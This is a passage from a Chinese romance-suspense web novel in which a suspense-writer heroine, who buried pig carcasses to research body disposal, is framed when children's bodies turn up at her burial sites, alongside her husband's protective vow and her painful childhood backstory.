旭日初升,阳光驱散黑暗,山上雨过天晴。 陆京御打了个电话,让附近裴清誉的山庄里的人来送早餐,顺便给他送点洗漱用品。 江凝烟起床之后,就闻到了早饭的香味,也能闻出各种各样的香味。 她创作一直是进入心流模式的,又喜欢自然风光,创作地偏僻,外卖都不愿意送进来,日子过得一塌糊涂,早饭就是熬个粥,蒸蛋器里煮个蛋。 日复一日,都这么单调。 她倒是觉得单调就单调了,总比图省事吃外面的中毒好。 这早餐估计是陆京御让人做了送来的。 江凝烟拢了拢长发,洗漱完收拾完就下楼。 “后来睡得还好吗?”陆京御问道,满眼关怀。 江凝烟避开他的眼神,有些尴尬地笑道:“还好,噩梦而已,没事。” 陆京御讳莫如深地注视着她,过了会儿,才问:“今天有课吗?” “有。”大周一的当然有课,上午有,下午也有。 “好。我陪你去上课。”陆京御说。 江凝烟震惊地道:“啊?你要陪我去上课?” 这他爹不是全校都知道她有老公了?老公还是陆京御? 陆京御点头,“警方那边没通知我就不能懈怠。” “不是。哥,您不上班吗?” “班随时都能上。你小命只有一条。”陆京御说。 江凝烟:“……” 这就是顶级大佬对工作的松弛感吗? 卧槽。 “我没事的,还有那么多保镖呢。” 陆京御:“今天我电话已经设了呼叫转移,所有电话都会打到我同事那儿。” 江凝烟愕然,傻愣愣地看着他,“不要了吧,我京大的同学都不知道我真实身份呢。你一出现,我直接爆马。” “你能瞒她们一辈子?” “我就是不喜欢麻烦。”江凝烟搅着咖啡,“我还想在京大直接把博士读完,还要好多年,太麻烦了。” “安全最重要。”陆京御不容拒绝。 烦了。 毁灭吧。 江凝烟说:“那我请假吧,你去上班。” “你请假可以,但我也不去上班。”陆京御说,“万一等会警方有动静了,我陪你去。” 江凝烟默不作声吃早饭。 陆京御一直在看她,良久才问道:“这事,你是不是有怀疑的对象?” 昨天警方问她她也不说,只让他们先调查是不是故意的。 江凝烟喝着燕窝,没立刻回答。 陆京御继续问:“除了争财产,还有没有男孩子对你爱而不得?女孩子嫉妒你?最近有感觉到别的异样吗?” 江凝烟轻描淡写地说:“等警方调查吧。” “当”的一声,陆京御不轻不重地搁下筷子。 江凝烟撩起眼皮看他,心里已经开始不耐。 陆京御语气尽量克制,温柔地说:“烟烟,你是不是曾经发生过什么,所以才让你这么敏感,是什么让你第一反应就觉得这可能是杀人未遂,能不能跟我说清楚,你不肯说,我不知道怎么帮你。” 江凝烟低头喝了口燕窝,懒懒淡淡,模样像是完全不把他的话听进去。 陆京御深吸一口气,放软语气,“昨天是我不好,你可以继续跟我生气,怎么惩罚我都行,但是,这事,你得跟我说清楚,行吗?” 江凝烟昨晚做了噩梦,好多年没想起来的事又想起来了。 想起年幼的自己是如何愚蠢地误把魔鬼当救赎。 她才十来岁的时候,失去父亲,又听到爷爷那种话,很恐惧,她把小区里一起玩的邻居姐姐吴雪雯当亲姐姐,无话不说,把家里的事都告诉了她,包括爷爷说的那话。 对爷爷的恐惧一点没解决,却引来了真实的杀身之祸。 吴雪雯的爸爸出了事,吴雪雯让她找她姥爷帮忙,她也去求姥爷帮忙了,姥爷没同意,吴雪雯的爸爸入了监狱。 吴雪雯的妈妈生病了,她带着自己所有的零花钱去看她妈妈。她却把她拐到荒芜之地,说都是她害的,都是她不肯帮忙,害得她家破人亡。她企图杀掉她,还告诉她说没人会知道是她杀的,因为她会跟警方指控她爷爷。 那时候她才知道,不能将这种关乎生命的秘密告诉别人,没有人会来解救你,反而会鹬蚌相争渔翁得利。 好在,吴雪雯低估了她的求生欲与战斗力,她逃走了,误打误撞翻墙进了王亦薇家。 王亦薇父母报了警。 吴雪雯比她大五岁也是未成年,而她也没受伤,她没多少时间就出来了。 出来的时候,吴雪雯的妈妈死了,她又把仇恨转移在她身上,又对她动了一次手。 她还是没能杀了她,但她告诉她,这次是她爷爷看中了她的狠劲,要她除掉她,以防她成年后要回钱。 吴雪雯第二次杀她失败后,她跟她姥爷说了吴雪雯说是爷爷让她杀的。求她姥爷把她接去姥爷家。 结果,姥爷拒绝收留她。四两拨千斤说那姑娘这么说过,江家就绝对不敢动手。但他更倾向于是吴雪雯想让她难受,感受下众叛亲离的感觉,故意这么说的。 他说他给她找个女保镖保护她。 她哭着问姥爷为什么她不能去姥爷家,她都快被杀掉了,她好害怕,姥爷居然说,外孙女没有住姥爷家的道理。 外孙女没有住姥爷家的道理! 外孙女没有住姥爷家的道理! 外孙女没有住姥爷家的道理! 这种腐朽的思想居然比她的命还重要! 他是怕她坏了他家的风水?坏了他的官运? 她在内心冷笑,她以为的血亲,她最后的靠山,嫌她坏风水! 姥爷帮她争财产或许只是不想便宜江家。 她对他而言,一点都不重要。 她逃跑途中摔断了腿,腿疼了整整上百天,骨头愈合的时候那种钻心的痛就像是刀片刮骨,谁痛过谁知道。 那一百天,每晚都在做噩梦。 嘘寒问暖有,所有人只是轻描淡写地让她别瞎想,没人会再伤害她。吴雪雯已经被抓住了。 但没有人真正知道她有多痛,没有人真正关心她有多痛。没有人满足她小小的心理需求! 她看着眼前姥爷指定的丈夫陆京御,扯出一抹无懈可击的笑容。 所有人都不在意她,不在乎她的生命,甚至想除掉她,这种话说出来,让她自己都觉得自己很卑微很低贱。 更何况,陆京御跟她也是利害关系人。 杀妻案那么多,为财的居多。 她也不能完全信任他。 说不定这次对她螳螂捕蝉黄雀在后的是陆京御。他要是坏一点,这幕后要是真有黑手,他完全可以借别人的刀杀了她,钱都进了他口袋。 虽然这次他救了她,那是因为她抱着他的腰,要么两人一起上去,要么两人一起坠楼。 不代表陆京御完全值得信任。 事实上,这世上,除了她自己没人可以信任。 “陆京御。”江凝烟喊他的名字。 陆京御看着她。 “或许是冲着你来的。”她语气不重,笑着的。 陆京御拧眉。 “我希望你牢牢记住我们是假结婚。”江凝烟淡笑着说。 牢牢记住她的钱,不属于他,千万别打这个主意。 陆京御瞳孔一缩。 “如果你接受不了这样,那我把那三十亿还你,我们立刻离婚。”江凝烟不咸不淡地说。 陆京御心脏猛地一坠,瞳孔像是石灰一样发白暗淡,他不敢置信他出于关心,她却会直接提离婚。 客厅里一阵沉默。 餐桌上的饭菜香味浓郁又温暖,但整间屋子冷冰冰的,空气令人窒息。 陆京御甚至觉得手脚冰凉。 江凝烟也隐约觉得,陆京御可能跟那些只图利益不讲感情的人不一样。 陆京御对她的照顾无可挑剔,或许他误解了她在她姥爷心中的位置,真的想报恩照顾她帮助她。 如果他是真心想帮她,那她此刻是亲手赶走了最后寥寥无几的愿意对她好的人。 她知道有他是好心这种可能,但她不愿意赌。 赌赢了也只是暂时有人对她好了。暂时而已,感情是最会变的。 赌输了是她小命呜呼。 她赌不起。 她坐着等陆京御掀桌子走人。就她这种态度没人能忍受得了。 果然,他起身。 江凝烟眼皮都没动一下,低头喝着热乎乎的面条。 她眼角的余光看见陆京御从李佳盈的桌子上抽了张A4纸。 要写离婚协议书了? 她不去想此刻自己心情为什么好像是怅然若失。 她不可能怅然若失。 因为她从来就没有拥有过什么。 她喝了口咖啡,低头认真吃早餐。 没多久,一张手写的手稿递到她面前。 看着上面龙飞凤舞的字,她瞳孔猛地地震,不是离婚协议书? 是承诺书? 【本人陆京御郑重承诺:如若保护不了妻子江凝烟的生命,愿意把名下所有财产约一千五百亿全部捐献给社会,分文不留。 本人郑重承诺:愿意对此承诺承担法律责任,并且终身有效!】 他甚至录了他写承诺书的视频,发给她。 本人陆京御郑重承诺:如若保护不了妻子江凝烟的生命……全部捐献给社会……分文不留…… 终身……有效…… 江凝烟目光震颤,他知道她在怕他也打她财产的主意,联合别人一起对付她。 所以,跟她承诺,要是她没命了,他愿意把所有财产全部捐出去,以此来表示他不在乎金钱。 江凝烟目光落在“妻子江凝烟”这五个字上,心脏像是被狠狠拍出去的壁球,重重地砸在胸腔壁上。 陆京御说:“你收好吧,不离婚。” 他见她呆愣,把她从座位上拉起来,双臂紧紧抱住她,揉在怀里,“别害怕,我会保护你。” 20-30 第21章 很想抱抱那时候的小烟烟 江凝烟这辈子没碰到过这样的人。 他聪明。 几乎不需要她挑明, 他就知道她心里在想些什么。 他勇敢。 分明恐高还能在四楼边缘把她拉回来。 他温柔。 每次在她以为他会生气的时候,只是温柔地抱住她原谅她。 他也是疯子。 为了博取她的信任,瞎写什么捐赠承诺书, 承诺要是护不住她,就把所有的钱捐给社会。 “你疯了吗?这种承诺书,是可以瞎写的吗?”江凝烟在他怀里闷声问。 公开承认捐赠是要承担法律责任的, 要是哪天她真不在了, 公示这张承诺书, 他真的需要把钱全捐出去。 一千五百亿, 钱是男人的命。他居然就这样轻易写下, 就为了博取她的信任。 “不是瞎写。是清楚地知道法律后果写的。”陆京御声音听着很理智, 说的却是最疯狂的事。 江凝烟觉得他真是疯子。 她完全无法理解他这种为了维护一段关系,赌上所有的疯。 她无法理解,他为了让她信任不惜倾家荡产。 在她眼里任何关系,除非有用,全部可有可无。 不值得她花钱, 最多值得她的表演。 而他, 居然愿意为了她的信任, 写下这种承诺。 一阵沉默。 江凝烟身体微微战栗。 她很想告诉他, 也很想倾诉, 但是有双无形的手扼住了喉咙, 张口发不出声音。 她的回忆陷入了十年前,爷爷办公室的夕阳像是鲜红的血, 雨夜的邻居姐姐是索命的恶鬼, 帮她争财产的姥爷拒绝收留她。 她的喉咙堵住, 塞得胸腔被一团无名的怒火灼烧,火焰燃透了整个胸膛。 她张口尝试了好几次, 吴雪雯温柔文静的脸和狰狞可怖的脸在她眼前轮换交织。 “有些人根本不配有后代!我希望他们全都去死!” 最终,她锁住喉咙的阀像是猛然被打开了,怒火喷涌而出。 她胸口剧烈起伏,呼吸声像是爆炸的巨浪,席卷整间空荡的客厅。 陆京御瞳孔一缩,更用力地拥抱着她。 江凝烟愤愤地怒吼道:“一个孩子的血肉他们也能吃得下去!我希望他们去死!去死!去死!如果诅咒有用的话我会诅咒他们一万遍!他们才应该消失在这个世界上!”- 屋里的尘埃在阳光下浮动,像是爆炸后的烟灰,压抑窒息。 江凝烟坐在沙发上,眼里一滴眼泪都没有,手指攥得又白又粉,她平静淡漠地陈述完爷爷说的话和吴雪雯的往事。 情感上她还没有被陆京御融化,但理智上,她知道自己应该选择相信他,男人愿意赌上他的财产博取信任,那么他的承诺可以信任。在这个紧要关头她应该借助他的力量。 陆家身为顶级豪门,资源有多丰富不用多说,他们愿意帮助她是最好不过的。 但她依旧有所隐瞒,在她的陈述中,姥爷像是一个透明人,被删减掉很多。因为陆家对姥爷是有感情的。陆家也是她最后的助力,她不能说她姥爷不好。 她有些紧张,他太聪明,怕他抽丝剥茧,发现她姥爷对她也无所谓,拳在膝盖上捏紧。 陆京御胸口憋了一团火,灼得他五脏六腑都生疼,他愤怒这些人身为她的亲人居然这么对年幼的她,但在她面前他只能将这些戾气隐藏,竭尽温柔。 他单膝跪在地上,手压在她的脑袋上,眼底光晕细碎,“逃跑的时候骨折了?是不是很疼?” 江凝烟眼睫猛地颤了一下。她没想到他张口是这句。 当年,没有人关心她有多疼。 疼的时候,一整夜冷汗能把后背睡衣浸湿了,没有人在乎。 她其实从小很乖很能忍。妈妈去的早,她对妈妈没有印象,爸爸在世的时候,别人都会教导她不要影响爸爸工作,爸爸很忙。她表示理解,她一直都不是会撒娇的女孩子。 她自认为已经很乖很好了,可是乖,没有用。人得有价值才让人稀罕。 否则,疼?谁在乎啊? 陆京御把她脑袋按在自己胸膛,“肯定又疼又怕。怕养伤的时候,更逃不掉。” 江凝烟鼻尖酸涩。 他声音带着痛苦和哽咽,说:“很想抱抱那时候的小烟烟。” 他抚了抚她的后脑,声音更涩了几分,说:“虽然抱不到了,但我抱到了现在的烟烟,你告诉她,已经不用害怕了,好不好?” 他轻轻松开她,看着她的眼。 江凝烟抬起眼,跟他的眼睛对视,眸底像是阴暗的湖泊被阳光照亮,波光粼粼,“好。” 陆京御温柔地笑了笑。 他知道她为什么不愿意对外人告知身份了,她姥爷位高权重,只是不肯帮忙就给她招来了杀身之祸,学校里会接触那么多人,说不定也有人碰到困难,就算她姥爷去世了,赵家的影响力依旧很大。很多事对某些家庭而言是大事,对赵家来说不过就是一个电话的事,要是不肯帮忙,身边的人或多或少都会有情绪。 “十年过去了,吴雪雯放出来了吗?” 烟烟那时候没死,吴雪雯杀人未遂还是未成年,根本判不了多久,恐怕已经出狱了。 江凝烟说:“早放出来了,没什么动静我也没再关注。我到最后都不知道吴雪雯第二次杀我到底是她自己想杀我,还是爷爷指使的。” 陆京御说:“那就两个都盯着。” 江凝烟点头,抬抬下巴说:“现在我也不怕她们了。当时年纪小而已。” 陆京御目光温和,心想那是谁昨晚半夜做噩梦被吓哭了,“还有我在。” 江凝烟情绪渐渐稳定后,斟酌着问:“你,对我这么好,为什么?有什么条件吗?” 她不敢相信有人会无条件对她好。如果有什么条件,事先说好比较好。 为什么? 昨晚的雨下了一整夜,一整夜都冰冰凉凉地浇在他心上,他想了一整夜,既然怕自己不舍得放手,不如就死都不放手。 既然想时刻拥抱她,不如就不计后果占有她。 他这两天真的过分君子了些,以至于她在屋里哭,他在屋外束手无策。 他无比悔恨! 昨晚一整夜,他都在发疯边缘。 被折磨了一整晚,他决定不当好人了。 条件,当然有条件。 条件就是…… 她的一生。 但他知道她喜欢自由,他怕吓到她。 他忽然从沙发上捞起她。 江凝烟惊叫一声。 他将她压在她的书架和落地窗的间隙里,手指按了下窗帘的按钮。 呲呲呲的滚轮声音点燃暧昧。 他手指勾着她的圆环拉链,将她的拉链一下子拉到了底。 胸前一空,接触到凉飕飕的空气,她心脏猛地一抖。 她今天就穿了件拉链修身开衫,单穿的,里面就只有内衣。 内衣还恰巧是前扣。 江凝烟心脏像是被他一起用手指勾着,痒得要死。 她近距离发现他的眼眶比平时红艳,眸底布满红血丝,很快她就看不见他的眼,只能看见他乌黑的发心。 她的身体被他抬起来,她坐在他的手臂上。窗帘只关了层白纱,太阳还是能晒进来,身上被太阳晒得透亮,也滚烫。 他冰凉的金丝边眼镜边刮到了她的皮肤,她浑身抖了一下。 “刮到了?”他含糊不清地问。 “不疼。”反倒勾起一阵战栗。 他没再回复,大概是嘴太忙。 她大白天的,闭上眼,忍住不让自己嘤咛出声。 “咔哒”一声开门声。 江凝烟心脏猛地一跳,倏地睁开眼。 “烟烟!”李佳盈蹦蹦跳跳地推门进来,她闻到了香味,“哇塞!今天来了田螺公子吗?早餐好丰盛啊!” 江凝烟刚被陆京御挑逗得手脚发软,一时间不敢吭声。 在考虑是不是就躲在角落装死,伪装不在蒙混过关。 等李佳盈上厕所或者转身的时候他们再出来。 然而李佳盈没得到回复,奇怪的“咦”了一声。她从餐厅那往客厅这儿移动,“烟烟?烟烟?” 陆京御见她紧张,额头顶着她的额头,无声地笑。 幽暗的角落里空气都比边上热几分。 他一边顶着她的额头,一边手指帮她扣内衣,但他不熟练,一下没扣上。 手指一直在那儿蹭来蹭去帮她扣,发出细微的声响,让江凝烟更加紧张。 他的手指骨节也好硬,刮得她浑身更加发软。 “咔哒”一声轻微的声响,总算扣上了。 江凝烟脸红,不知道这点细微的声音李佳盈能不能听见。 这点能不能听见不知道,但接下来的拉链声真的有点响亮。 “唰”的一声。 李佳盈果然声音变亮,好像发现了她,脚步也更加快速起来,“烟烟!” 陆京御用身体挡住她,还在她耳边没事人似的戏谑地道:“保护费。” 江凝烟:“……” 江凝烟脸红耳赤。 李佳盈看见他们两人从书架角落出来,两人脸都红得像煮熟的虾,顿时脚步停住,“对不起对不起!” 她随便一想就知道怎么回事了,顿时心中大喜,瞪大了小鹿眼,不愧是她朋友!这种货色都能一下子搞定! 与有荣焉! 江凝烟被陆京御亲那亲得脸上都红温了,此刻特别害臊,所以她反守为攻,直接对着李佳盈贴脸开大,“盈盈,对不起啊,你的画稿,他不小心看到了。我把他拉来角落打了一顿。” 李佳盈脑子还在激动,一时间没反应过来,下意识地问:“什么?” 反应过来之后:“!!!!!!!!!” 她石化了,凌乱了,崩溃了。 最终她尖叫出声:“啊啊啊啊啊啊啊啊!” 江凝烟抱歉地说:“对不起对不起,他不是故意的!我已经帮你教训过了,桌上还有一份早餐没动,你要是没吃过你就吃哈!我们走了哈!拜拜!” 江凝烟拉着陆京御狂奔。 第22章 完了,会被受害者家属弄死 江凝烟带着陆京御跑出来了, 但是一时间也不知道他们俩一个翘课一个翘班要跑去哪儿。 陆京御吃了几口江凝烟被打断后,食髓知味。 就近原则,拉着江凝烟跑。 江凝烟立刻知道他要跑去哪儿了。裴清誉的云岱山庄离她家很近, 也就几百米。 陆京御想去那。 那是想立刻马上把没做完的事做完啊? 山上的桂花雨零落下来,空气里都是香甜的味道,眼前是陆京御宽阔的肩背, 蹁跹的衣角。跑起来腿很长臀很翘, 腰身也很窄。特别好看。 江凝烟唇角忍不住翘起, 不知道他怎么了, 反正, 忽然好像不再矜持推拒了。 还收保护费。 这么骚呢。 他们两人一跑, 后面的保镖跟着跑,蜿蜒山路上场面有些壮观。 陆京御拉着她跑进云岱山庄。 这时,江凝烟的电话响起来了,是昨天的警察大哥,说把江凝烟想问的都问了, 让他们去警察局一趟。 两人都有些扫兴, 一起去了警察局。 “这事, 从各个方面来看我们警方认为应该不是蓄谋杀人。”警察大哥说, “首先排除商场的工作人员, 他们的行为没有可疑的地方。” “其次, 这两个装修工人从事装修行业有两年了,身份不像是捏造的。” “现场玻璃也调了监控, 最近都没有人有迹象破坏玻璃。” “而且, 如果是蓄谋杀人, 需要太多巧合,得恰巧是从事装修行业, 又恰巧接到了这家店的单子,还恰巧玻璃坏了,又恰巧知道你今天这个时候会去这家店。” “要收买这个装修工人,能谈判的时间也很短。下午这玻璃换完,你们到了现场之后,才出现作案的可能,他们需要在你们逛商场的那一小时内就收买这个陌生装修工人。对于买凶谋杀而言,太过仓促了。” “如果这事是故意的,大概率这个装修工人直接或间接跟你们有仇,看见有机会,临时起意。甚至也有可能是心理变态,仇富,看见你们临时起意谋杀。” 江凝烟也觉得,这事如果是故意,临时起意冲动杀人的可能性更大。 她抱着谨慎的态度,问:“这些人的背景都调查了吧?能给我们看看吗?” 撞陆京御的这男人是个中年男人,混得比较底层,但她倒也不觉得底层一定怎么样,反正上层也很多不怎么样。 只不过这男人最近确实有些惨,老婆离婚了带走了孩子,他现在光棍一个。老婆是跟个比他条件好的人再婚了。 这个人要收买倒也不难,难的是,怎么在那么短的情况下知道这男人的底细,从而觉得有成功收买他的可能性,抛出橄榄枝。 她也比较倾向这男人是冲动杀人。 但这个不大好确认。 江凝烟问:“那男人现在已经走了?” 警察大哥说:“没有证据能证明他是故意的,我们只能放走他。” 江凝烟和陆京御从警察局出来,陆京御捏了捏江凝烟冰凉的手心,说:“我会派人盯着他。” 江凝烟侧眸,“你准备怎么做?” 陆京御说:“派个机灵点的人,塞进他们公司,跟他慢慢接近慢慢套近乎。他有困难的时候,借点钱给他,跟他喝个酒,他什么心态,早晚会暴露的。” 江凝烟笑得灿烂,“你准备派卧底啊?” 陆京御:“不能大意。” 他不可能轻易放过每个有可能对她造成伤害的人。 如果是故意绝对不能放过,就算他们命大,对方也必须付出代价。 江凝烟看他脸色沉静严肃,阳光晒在他脸上,一身黑西装,一张冷脸的时候看起来是真酷,她拉着他的手蹦跶,狂吹彩虹屁,“真酷。好有安全感。” 陆京御坐进车里就开始安排这事。 这事,听着简单,其实落实到细处有挺多需要注意的,首先得找个这样的人,得机灵,还得看起来像工人,其次,得不动声色地把人塞进他们公司,跟那男人一起做事。 他一一办妥,接下去就是让他的人好好地试探。 江凝烟抱着他的胳膊隔着中控台,靠在他的肩膀上,陆京御握住她的手,“吴雪雯你查过没?” 江凝烟说:“查过,在监狱吃好喝好,放出来快一年了,一开始我也派人盯着她,后来盯丢了。不知道还在不在京城。” 陆京御眉一皱,又打了几通电话,查吴雪雯这个人。 江凝烟觉得他这会好有大佬气场,尤其这大佬打完电话之后就转头,冲她笑。气场切换特别让人心动。 对敌很酷,对她却很温柔。 江凝烟忍不住爬到他腿上抱住他,刚想做点什么,她的电话又响了。 李佳盈在那声音带着点抖,“烟烟,你不然回来,这里有几个警察找你。” 江凝烟:“嗯?我刚从警察局出来。” 李佳盈:“后山有人埋尸,警方已经在山下封锁现场了。你出现在监控里,他们要问问情况。刚刚摁门铃我说你不在,估计马上就会打你电话。” 江凝烟睫毛一颤,看了眼陆京御,又瞥开,小声问:“温泉那儿?” 李佳盈:“嗯。” “啊。”江凝烟抱歉地笑了一下,“你跟警察说,那是我埋的猪,不用太劳师动众。” 陆京御疑惑的目光注视着她。 江凝烟避开。 李佳盈声音瑟瑟发抖,“是人。烟烟,是人。” 江凝烟瞳孔猛地一震,抬起来撞上陆京御的视线。 放下电话,江凝烟几乎在一瞬间就猜到了这事背后的目的。 陷害她。 “哥。我又要给你添麻烦了。” 陆京御沉默地看着她。把她心虚,逃避,又无法不直视的情绪转变看得一清二楚。 江凝烟注视着他,“我写悬疑小说,要考虑埋尸,埋了点猪,现在被警方挖出来……” 她顿了下,目光都不敢直视他,不知道他会是什么反应,她垂下眼睫,又暗觑他:“是人。” 陆京御面色一沉。 江凝烟竖起三根手指发誓,“我发誓我埋的是猪!哥你一定要相信我,你不信我我会含冤而死!” 这事对她而言太危险,她必须获得陆京御的信任,万一她百口莫辩,聪明如他最可能帮到她。 “我猜,我埋了好几个地点的猪,都被换成了人。对方或许蓄谋已久,就算我靠不在场证明等等向警方证明我不是凶手。但问题是……” 她吞了吞口水,“被害人家属容易被煽动,觉得警方包庇我,毕竟我出现在埋尸地点,我还背景深厚。只要他们不信我还是有可能被这些被害人家属弄死。” 她自知麻烦大了。 陆京御的眉深深地皱紧。 江凝烟:“总之。这事只有两种可能性,第一,我点背,有个变态杀人凶手发现了我这个背锅侠,甩锅给我。第二,有人要浑水摸鱼,借刀杀人。”- 后山温泉。 好几个警察在周围。 警戒线围住了她埋猪尸的温泉。 那两个水泥块跟她切得差不多大,但是,切开来不是她的猪肉,真的是人,是个女孩子,看手臂的纤细程度,还是个小孩子。 江凝烟眼神放空。 江凝烟把警察大哥拉到一边,说:“警察大哥,我写悬疑的,我在那埋的是猪。想看看硫磺味道能不能遮尸体腐臭。” 警察大哥一怔,严肃道:“你埋的?” 江凝烟点点头,“但我埋的真是猪。” 江凝烟跟警察大哥说:“还有几个地方,我也埋了猪,您跟我去看看吧。” 陆京御跟在她身边,牵着她的手。 后山有个荒凉的地方,那里有个湖,江凝烟站在湖边,指着湖说:“湖里有具沉尸,是猪,在很多个封闭好的垃圾袋里,里面都有铁球。” 陆京御沉默地注视着她,一言不发,只是握住了她的手,十指紧扣。 警方打捞上来了垃圾袋,打开,里面是一只同样纤细的手,已经散发着臭味。 陆京御瞳孔一缩,搂了搂江凝烟的肩膀。 江凝烟看见这手臂觉得脑袋发晕。 她当然知道警方讲究确凿的证据,对方要杀人需要时间,那段时间,大概率她是有不在场证明的,她天天不是在写文就是在学校读书,根本没有作案时间,大概率冤枉不到她头上。 但是这些受害者的家属可就不一定相信这些。他们可没耐心听她分析不在场证明,甚至会觉得这些证明都是捏造的。 毕竟她的身份看起来好厉害,手眼通天。 他们如果看见警方没有抓捕她归案,很可能以为是她的背景在起作用。如果陷害她的人有她曾出现在埋尸地点的证明,那那些受害者家属不会相信不是她做的。 她会被那么多受害者家属盯上。被这么多家庭盯上,她会有危险,她要受无妄之灾了。 那这事跟昨天她差点坠楼有什么联系? 坠楼在前,今天才发现尸体,被害人家属都还没来认领,应该没什么关系。 随着她指定的地点,警方挖出了一具又一具尸体。 四具尸体,都是年纪挺小的女孩子。 她一连指出好几个地方,每次挖出来都是尸体,脸都白了。 江凝烟说:“警察大哥今天你们怎么发现温泉那的尸体的?荒山野岭的,这味道也不明显啊。不会无缘无故来这切开来看看吧?” 警察大哥冷嘲热讽说:“哟,你埋得真隐蔽。你还是嫌犯,谁举报的,怎么举报的,保密。等会你只要回答我的问题,看看被害人的死亡时间你有没有不在场证明就行。” 江凝烟:“……” 江凝烟:“温泉那个,我推着推车,堂而皇之地路过山庄门前的监控,您想想,我要是真杀人,乔装打扮成什么环卫工用垃圾桶运不是更掩人耳目?这事涉及到我被嫁祸,很可能报案那个人就是嫁祸给我或者接触过嫁祸给我的人。” 警察大哥点点头,“我们会查的。你先不用害怕,我们也不是不讲证据随便抓人的。我们会先确认受害者身份和死亡时间,你跟我们走一趟,跟我们做个笔录,好好解释清楚,我们是不会乱来的。” 江凝烟心想警方不会,可那些家属说不定会。 真的会被弄死。 他们闷不吭声查的越久,她越洗不清越危险啊。 第23章 背影像是燃烧着的战士 江凝烟的预感非常糟糕。 她表情难看地扯着陆京御的袖扣, 说:“这么重要的事,你怎么不做预知梦?” 陆京御:“……” 鬼知道你在外面做这些? 陆京御深深地吐了口气,终究是他给了她太多自由, 他抱住她说:“没事,不是你做的,我绝不会让人冤枉你。” “队长!河里还捞出来一具完整的女尸!” 江凝烟瞳孔一震。 一个熟悉的人, 不是, 准确的说一具熟悉的尸体, 被搬上了岸。 好消息:吴雪雯死了。她被杀死了。 坏消息:吴雪雯死了还要拉她当垫背, 她要被指控她是杀害吴雪雯的凶手了。 警察大哥一看她的表情, 问道:“这尸体你认识?” 江凝烟:“认识。十一年前, 差点杀掉我的凶手。刚从监狱里被放出来。” 陆京御眼神朝她射过去。 警察大哥:“……” “你这嫌疑,不小啊。” 江凝烟:“这案子已经很明显了,嫁祸。麻烦您了。” 警察大哥:“……” 明显在哪里? 江凝烟说:“看这些小孩子死者年龄大概也是十来岁,跟我当年差点被杀的年龄差不多。您觉得这是什么用意?凶手要嫁祸给我,必须给我安一个作案动机, 凶手非常了解我, 知道我小时候最伤心的事就是不受家里宠爱, 这些小孩子, 可能深受父母宠爱。” “如果不是附近的居民, 还有可能都来这附近旅过游。我这人非常孤僻, 大门不出二门不迈,传统良家妇女。想要嫁祸我非常难。必须是他们来我眼前晃悠, 我才能看得见他们, 产生犯罪动机。您查查看他们什么时候来这附近旅游过, 然后,注意他们身边所有路过的人。可能可以发现一些线索。” 警察大哥:“……” “不然, 这案子你来破?” “谁破不重要,关键是要破,正确地破,尽快地破。”江凝烟说。 警察大哥差点没被气死,看了陆京御一眼,意思是:你不管管? 陆京御朝他点头,“麻烦您了。” 警察大哥:“” 江凝烟:“还有,希望您着重查下,杀害这些孩子的是不是吴雪雯,是不是她想杀掉她们嫁祸给我,是不是因为作案需要老往这附近跑,被别人看见了,反而被杀了?” 警察大哥:“你的意思是螳螂捕蝉黄雀在后?” 江凝烟说:“只是一种可能性。希望您注意一下,这些被害者家属有没有收到什么煽动性的话,他们有没有提供什么指控我是罪犯的证明。您再着重看一下吴雪雯最近跟谁接触比较多,得罪了谁,又或者是她是不是在威胁谁。” “写悬疑的?笔名什么?”警察大哥这时好奇了。 “龙烟。”她没撒谎,那是她小号。 两人跟警方去了警察局。 虽然很快各个尸检出来了,这些人死的时候,她确实都有不在场证明,但是警方不敢轻易放过她,毕竟她的财力能力还有买凶杀人的可能性。 于是她很悲惨的,在警察局被询问了好几个小时。 好在,没被带进审讯室,陆京御全程在边上。 “你说嫁祸,对方都盯你盯到这种程度了,你一个女孩子还经常在深山老林,凶手为什么不直接杀了你?”警察大哥问。 “我下山都带着电锯,一米长的,您说谁杀谁?” 来一个砍一个。 警察大哥:“……” 你牛。 “但是,刚刚还真收到些证据,对你非常不利。你埋尸的时候的照片,都被人拍下来了。” “我的地下室也有监控,可以看出我处理的不是人。” “嗯,但不是直接证据,没人能证明你埋的不是人。 ” “后山监控比较少,其实也有绕过监控去那儿的路。我要真杀人,我绝对走那条路。我那天在埋的时候,有人在蹦极,还见到我了。我要是真埋的是尸体,我挑个晚上,不是更隐蔽?那黑灯瞎火的,根本没人看得见。” 警察大哥:“把你的手机给我吧。我们需要查一下有没有买凶杀人的线索。” 江凝烟把手机给她,“大哥,看见手机里的稿子,千万别剧透,请保守一切关于作品的信息。” 警察大哥心想你一个名不见经传的小作者,搞得这么神秘。 江凝烟其实在堵他口,不希望这会让陆京御知道她是化雾。她还需要他的帮助呢,不希望在这种时刻关系破裂。 要是她被判有罪入狱,那张承诺书也不算“护不住”。 江凝烟说:“我的生活非常单调。里面有个叫梦姐的,是我请她盯过吴雪雯的,我怕吴雪雯出狱又来杀我,关注她很正常。不过,也就在她出狱那段时间盯住了,没多少天就被吴雪雯发现了,换地儿了。后来我再也找不到了。” “我盯她的时候,发现她不缺钱。住的地方不惨,白天睡觉,晚上酒吧玩,她也不是去卖的,但她穿得还挺漂亮,就是不缺钱花的样子。你们可以查查她的银行卡,看看是谁在供她,跟她有金钱往来的人,也可能是被她捏住把柄想除掉她的人。” “最后,麻烦再查下我爷爷有没有介入此事,毕竟,当年吴雪雯指控是我爷爷让她来除掉我。我跟他们有财产纠纷。” 警察大哥一边记录一边抬起眼,“最后?我还没问完呢,你就最后了?” 江凝烟:“……” “那您接着问。” 不知道过了多久,两人从警察局出来。 从警察局出来,她看了眼脸色阴沉的陆京御讪笑一声,“一天来两趟警察局。点好背。” 陆京御全程脸都是黑的。 江凝烟:“……” 陆京御抓住她的手腕,拉进了车里。 江凝烟只想捂耳朵,无奈手被控制住。 陆京御深吸了几口气,说:“所以你一个姑娘,去深山老林里,埋那些做什么?” 江凝烟:“我想写出些别出心裁的埋尸方法,又得经得起推敲,只能自己去试啊。” 陆京御舌尖顶了下腮帮,“呵。别出心裁。你写个悬疑到了要真去埋尸的地步,真是够别出心裁的。” 江凝烟:“……” 她反pua,泫然欲泣地道:“我都要快被弄死了,你还骂我!我要是明天就被弄死了,你最后对我说的话是这些,你就后悔去吧!哼!” 陆京御冷笑,“你自己一个人跑去深山老林的时候,怎么不怕被别人顺便埋了?这会知道怕了?你自己干了多危险的事,你心里到底有没有个数?下次还这样吗?” 江凝烟依旧气呼呼,“下次还这样。” 陆京御炸了,阴冷地提高音调,“你说什么?” 江凝烟秒怂,“下次还这样,我请保镖跟我一起去。” 